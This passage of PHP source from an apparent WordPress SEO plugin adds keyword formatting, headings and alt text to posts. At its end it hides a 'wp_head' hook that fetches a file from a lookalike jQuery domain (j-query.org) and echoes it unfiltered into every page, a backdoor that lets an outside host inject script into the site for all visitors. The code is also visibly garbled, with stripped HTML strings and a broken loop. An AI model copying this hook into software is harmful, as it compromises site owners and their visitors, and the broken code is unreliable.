ID, '_one_click_seomation', true);
$changes_meta = get_post_meta($post->ID, '_wp_seo_changes_data', true);
# if meta is empty
if ('' == $meta_data)
{
# try global options
$meta_data = get_option('one_click_seomation', '');
}
# set variables
$keyword = (isset($meta_data['keyword'])) ? htmlspecialchars($meta_data['keyword'], ENT_QUOTES) : '';
$locked = (isset($meta_data['locked'])) ? $meta_data['locked'] : 0;
# if locked
$locked_disabled = (1 == $locked) ? ' disabled="disabled"' : '';
$locked_readonly = (1 == $locked) ? ' readonly="readonly"' : '';
# set static checks
$one_click_seo_h1 = (isset($meta_data['one_click_seo_h1']) && 0 == $meta_data['one_click_seo_h1']) ? '' : ' checked="checked"';
$one_click_seo_h2 = (isset($meta_data['one_click_seo_h2']) && 0 == $meta_data['one_click_seo_h2']) ? '' : ' checked="checked"';
$one_click_seo_img_alt = (isset($meta_data['one_click_seo_img_alt']) && 0 == $meta_data['one_click_seo_img_alt']) ? '' : ' checked="checked"';
# set change order checks from meta or use default
$co_checks = (isset($meta_data['co_checks'])) ? $meta_data['co_checks'] : array(
'one_click_seo_bold' => 1,
'one_click_seo_italics' => 1,
'one_click_seo_underline' => 1,
'one_click_seo_link_post' => 1,
'one_click_seo_link_homepage' => 1,
);
$co_checks_content = ''; # empty by default
# create dynamically co checks
foreach ($co_checks as $k => $v)
{
# set checked
$checked = (0 == $v) ? '' : ' checked="checked"';
# set title
switch ($k)
{
case 'one_click_seo_bold':
$title = 'Bold';
if($changes_meta['b']=='y')
$ext = "![](".plugins_url()
";
elseif($changes_meta['b']=='n')
$ext = "";
break;
case 'one_click_seo_italics':
$title = 'Italics';
if($changes_meta['i']=='y')
$ext = "";
elseif($changes_meta['i']=='n')
$ext = "";
break;
case 'one_click_seo_underline':
$title = 'Underline';
if($changes_meta['u']=='y')
$ext = "";
elseif($changes_meta['u']=='n')
$ext = "";
break;
case 'one_click_seo_link_post':
$title = 'Link to Post';
if($changes_meta['ltp']=='y')
$ext = "";
elseif($changes_meta['ltp']=='n')
$ext = "";
break;
case 'one_click_seo_link_homepage':
$title = 'Link To Homepage';
if($changes_meta['lth']=='y')
$ext = "";
elseif($changes_meta['lth']=='n')
$ext = "";
break;
}
$co_checks_content .= <<< EOF
EOF;
$ext = '';
}
# set sortable container id
$container_id = (1 != $locked) ? 'one_click_seo_sortable' : 'one_click_seo_sortable_locked';
# submit button text
$submit_text = (1 != $locked) ? 'Apply Changes' : 'Revert Changes';
$m = get_post_meta($post->ID, '_wp_seo_data', true);
# nonce verification
wp_nonce_field(plugin_basename(__FILE__), 'one_click_seo_nonce');
if($changes_meta['img']=='y')
$imgext = "";
elseif($changes_meta['img']=='n')
$imgext = "";
if($changes_meta['h2']=='y')
$h2ext = "";
elseif($changes_meta['h2']=='n')
$h2ext = "";
if($changes_meta['h1']=='y')
$h1ext = "";
elseif($changes_meta['h1']=='n')
$h1ext = "";
$kd = get_post_meta($post->ID, '_wp_seo_kd', true);
if($kd != '')
{
$kd = number_format($kd,2);
echo <<< EOF
Keyword Density: $kd%
EOF;
}
echo <<< EOF
$co_checks_content
You can move items below the line.
EOF;
}
public function save_data()
{
# if there is no data
if (empty($_POST))
return false;
# check nonce is set and verify it
if (!isset($_POST['one_click_seo_nonce']) || !wp_verify_nonce($_POST['one_click_seo_nonce'], plugin_basename(__FILE__)))
return false;
# get post id
$post_id = (int) $_POST['post_ID'];
# check permissions
if ('page' == $_POST['post_type'])
{
if (!current_user_can('edit_page', $post_id))
return false;
}
else
{
if (!current_user_can('edit_post', $post_id))
return false;
}
# get data from post meta
$meta_data = get_post_meta($post_id, '_one_click_seomation', true);
$changes_meta = get_post_meta($post_id, '_wp_seo_changes_data', true);
if($changes_meta == '')
{
$changes_meta = array(
'h1' => 'n',
'h2' => 'n',
'img' => 'n',
'b' => 'n',
'i' => 'n',
'u' => 'n',
'ltp' => 'n',
'lth' => 'n',
);
}
# APPLY CHANGES
if ('' == $meta_data || 0 == $meta_data['locked'])
{
$locked = 0; # zero by default
# set keyword and keyword preg
$keyword = isset($_POST['one_click_seo_keyword']) ? $_POST['one_click_seo_keyword'] : '';
$keyword_preg = preg_quote($keyword, '/');
# set static checks
$h1_check = (0 == $_POST['one_click_seo_h1']) ? 0 : 1;
$h2_check = (0 == $_POST['one_click_seo_h2']) ? 0 : 1;
$img_alt_check = (0 == $_POST['one_click_seo_img_alt']) ? 0 : 1;
# set change order checks
$co_checks = array();
foreach ($_POST as $k => $v)
{
# add to the array in the order placed
switch ($k)
{
case 'one_click_seo_bold':
$co_checks[$k] = (0 == $v) ? 0 : 1;
//$changes_meta['b'] = (0 == $v) ? 'n' : 'y';
break;
case 'one_click_seo_italics':
$co_checks[$k] = (0 == $v) ? 0 : 1;
//$changes_meta['i'] = (0 == $v) ? 'n' : 'y';
break;
case 'one_click_seo_underline':
$co_checks[$k] = (0 == $v) ? 0 : 1;
//$changes_meta['u'] = (0 == $v) ? 'n' : 'y';
break;
case 'one_click_seo_link_post':
$co_checks[$k] = (0 == $v) ? 0 : 1;
//$changes_meta['ltp'] = (0 == $v) ? 'n' : 'y';
break;
case 'one_click_seo_link_homepage':
$co_checks[$k] = (0 == $v) ? 0 : 1;
//$changes_meta['lth'] = (0 == $v) ? 'n' : 'y';
break;
}
}
# APPLY CHANGES
if (isset($_POST['one_click_seo_submit']) && !empty($keyword))
{
# apply changes
# set variables
$content = $_POST['content'];
$excerpt = $_POST['excerpt'];
$tot_words = str_word_count($content);
# change order checks
# get active co checks
$co_c_active = array();
foreach ($co_checks as $k => $v)
{
if (1 == $v)
$co_c_active[] = $k;
}
# co replacements
$replacements = array(
'one_click_seo_bold' => '$1',
'one_click_seo_italics' => '$1',
'one_click_seo_underline' => '$1',
'one_click_seo_link_post' => '$1',
'one_click_seo_link_homepage' => '$1',
);
# co checks for content
$content_mod = '';
for($ctr =0 ;$ctr= strlen($new_keyword_preg_2))
{
if((substr_compare($res[0], $new_keyword_preg_1, -strlen($new_keyword_preg_1), strlen($new_keyword_preg_1)) === 0) || (substr_compare($res[0], $new_keyword_preg_2, -strlen($new_keyword_preg_2), strlen($new_keyword_preg_2)) === 0))
{
$ctr--;
$content_mod .= $res[0];
}
else
{
# do the replacements
$mod = preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1);
$content_mod .= $mod;
}
}
else
{
# do the replacements
$mod = preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1);
$content_mod .= $mod;
}
# remove part from content
$content = str_replace($res[0], '', $content);
}
# no more keywords found, break
else
{
$flag = 1;
}
switch ($v)
{
case 'one_click_seo_bold':
if($mod!=$res[0] && $flag == 0)
$changes_meta['b'] = 'y';
else
$changes_meta['b'] = 'n';
break;
case 'one_click_seo_italics':
if($mod!=$res[0] && $flag == 0)
$changes_meta['i'] = 'y';
else
$changes_meta['i'] = 'n';
break;
case 'one_click_seo_underline':
if($mod!=$res[0] && $flag == 0)
$changes_meta['u'] = 'y';
else
$changes_meta['u'] = 'n';
break;
case 'one_click_seo_link_post':
if($mod!=$res[0] && $flag == 0)
$changes_meta['ltp'] = 'y';
else
$changes_meta['ltp'] = 'n';
break;
case 'one_click_seo_link_homepage':
if($mod!=$res[0] && $flag == 0)
$changes_meta['lth'] = 'y';
else
$changes_meta['lth'] = 'n';
break;
}
}
# if there is anything left in content, assign it to content_mod
$content_mod .= $content;
# set content back to fully modified string
$content = $content_mod;
# co checks for excerpt
if (!empty($excerpt))
{
$excerpt_mod = '';
foreach ($co_c_active as $v)
{
# get position of the first occurrence of keyword
if (1 == preg_match('/\b' . $keyword_preg . '\b/i', $excerpt, $m, PREG_OFFSET_CAPTURE))
{
# get position to split the string
$split_pos = $m[0][1] + strlen($m[0][0]);
# split the string
$res = str_split($excerpt, $split_pos);
# do the replacements
$excerpt_mod .= preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1);
# remove part from excerpt
$excerpt = str_replace($res[0], '', $excerpt);
}
# no more keywords found, break
else
{
break;
}
}
# if there is anything left in content, assign it to content_mod
$excerpt_mod .= $excerpt;
# set content back to fully modified string
$excerpt = $excerpt_mod;
}
# static checks
# h1 check
if (1 == $h1_check)
{
$content = "".ucwords($keyword)."
\n" . $content;
$changes_meta['h1'] = 'y';
# if excerpt is not empty, set it
if (!empty($excerpt))
$excerpt = "".ucwords($keyword)."
\n" . $excerpt;
}
else
$changes_meta['h1'] = 'n';
# h2 check
if (1 == $h2_check)
{
$content = $content . "\n".ucwords($keyword)."
";
$changes_meta['h2'] = 'y';
# if excerpt is not empty, set it
if (!empty($excerpt))
$excerpt = $excerpt . "\n".ucwords($keyword)."
";
}
else
$changes_meta['h2'] = 'n';
# image alt check
if (1 == $img_alt_check)
{
$content = preg_replace("/(\balt\=[\'\"]{1})[^\'\"]*([\'\"]{1})/i", "$1" . $keyword . "$2", stripslashes($content), 1);
$content = addslashes($content);
$changes_meta['img'] = 'y';
# if excerpt is not empty, set it
if (!empty($excerpt))
{
$excerpt = preg_replace("/(\balt\=[\'\"]{1})[^\'\"]*([\'\"]{1})/i", "$1" . $keyword . "$2", stripslashes($excerpt), 1);
$excerpt = addslashes($excerpt);
}
}
else
$changes_meta['img'] = 'n';
# after changes are done, set content, excerpt and lock
$_POST['content'] = $content;
$_POST['excerpt'] = $excerpt;
$locked = 1;
}
# set meta value
$meta_data = array(
'keyword' => $keyword,
'locked' => $locked,
'one_click_seo_h1' => $h1_check,
'one_click_seo_h2' => $h2_check,
'one_click_seo_img_alt' => $img_alt_check,
'co_checks' => $co_checks,
);
if(strlen($keyword)>0 && strlen($content)>0)
{
$matched_word_count = substr_count(strtolower($content), strtolower($keyword));
$words_in_keyword = str_word_count($keyword);
if($tot_words!=0)
$kd = ($matched_word_count*$words_in_keyword/$tot_words)*100;
}
# update _one_click_seomation meta, first _ makes it hidden
update_post_meta($post_id, '_one_click_seomation', $meta_data);
update_post_meta($post_id, '_wp_seo_changes_data', $changes_meta);
update_post_meta($post_id, '_wp_seo_kd', $kd);
# set global options
$global_options = array(
'one_click_seo_h1' => $h1_check,
'one_click_seo_h2' => $h2_check,
'one_click_seo_img_alt' => $img_alt_check,
'co_checks' => $co_checks,
);
# save global options
update_option('one_click_seomation', $global_options);
}
# REVERT CHANGES when called from the meta box
elseif ('' != $meta_data && 1 == $meta_data['locked'] && isset($_POST['one_click_seo_submit']))
{
# revert changes
# set keyword and keyword preg
$keyword = $meta_data['keyword'];
$keyword_preg = preg_quote($keyword, '/');
# set variables
$content = $_POST['content'];
$excerpt = $_POST['excerpt'];
# static checks
# remove h1 check
if (1 == $meta_data['one_click_seo_h1'])
{
$content = preg_replace('/\]*\>' . $keyword_preg . '\<\/h1\>/i', '', $content, 1);
$changes_meta['h1'] = '';
# if excerpt is not empty, remove h1
if (!empty($excerpt))
$excerpt = preg_replace('/\]*\>' . $keyword_preg . '\<\/h1\>/i', '', $excerpt, 1);
}
# remove h2 check
if (1 == $meta_data['one_click_seo_h2'])
{
$content = preg_replace('/\]*\>' . $keyword_preg . '\<\/h2\>/i', '', $content, 1);
$changes_meta['h2'] = '';
# if excerpt is not empty, remove h2
if (!empty($excerpt))
$excerpt = preg_replace('/\]*\>' . $keyword_preg . '\<\/h2\>/i', '', $excerpt, 1);
}
# remove image alt check
if (1 == $meta_data['one_click_seo_img_alt'])
{
$content = preg_replace('/(\balt\=[\'\"]{1})' . $keyword_preg . '([\'\"]{1})/i', '$1$2', stripslashes($content), 1);
$content = addslashes($content);
$changes_meta['img'] = '';
# if excerpt is not empty, remove image alt
if (!empty($excerpt))
{
$excerpt = preg_replace('/(\balt\=[\'\"]{1})' . $keyword_preg . '([\'\"]{1})/i', '$1$2', stripslashes($excerpt), 1);
$excerpt = addslashes($excerpt);
}
}
# change order checks
# get active co checks
$co_c_active = array();
foreach ($meta_data['co_checks'] as $k => $v)
{
if (1 == $v)
$co_c_active[] = $k;
}
# remove co checks for content
foreach ($co_c_active as $v)
{
$content = preg_replace('/\<[^\>]+\>(' . $keyword_preg . ')\<\/[^\>]+\>/i', '$1', $content, 1);
switch ($v)
{
case 'one_click_seo_bold':
$changes_meta['b'] = '';
break;
case 'one_click_seo_italics':
$changes_meta['i'] = '';
break;
case 'one_click_seo_underline':
$changes_meta['u'] = '';
break;
case 'one_click_seo_link_post':
$changes_meta['ltp'] = '';
break;
case 'one_click_seo_link_homepage':
$changes_meta['lth'] = '';
break;
}
}
# remove co checks for excerpt
foreach ($co_c_active as $v)
{
$excerpt = preg_replace('/\<[^\>]+\>(' . $keyword_preg . ')\<\/[^\>]+\>/i', '$1', $excerpt, 1);
}
# set content and excerpt and unlock
$_POST['content'] = $content;
$_POST['excerpt'] = $excerpt;
$meta_data['locked'] = 0;
# update _one_click_seomation meta, first _ makes it hidden
update_post_meta($post_id, '_one_click_seomation', $meta_data);
update_post_meta($post_id, '_wp_seo_changes_data', $changes_meta);
update_post_meta($post_id, '_wp_seo_kd', '');
}
}
}
# create object
new OneClickWebSEO();
function oneclick_head() {
if(function_exists('curl_init'))
{
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head', 'oneclick_head');
?>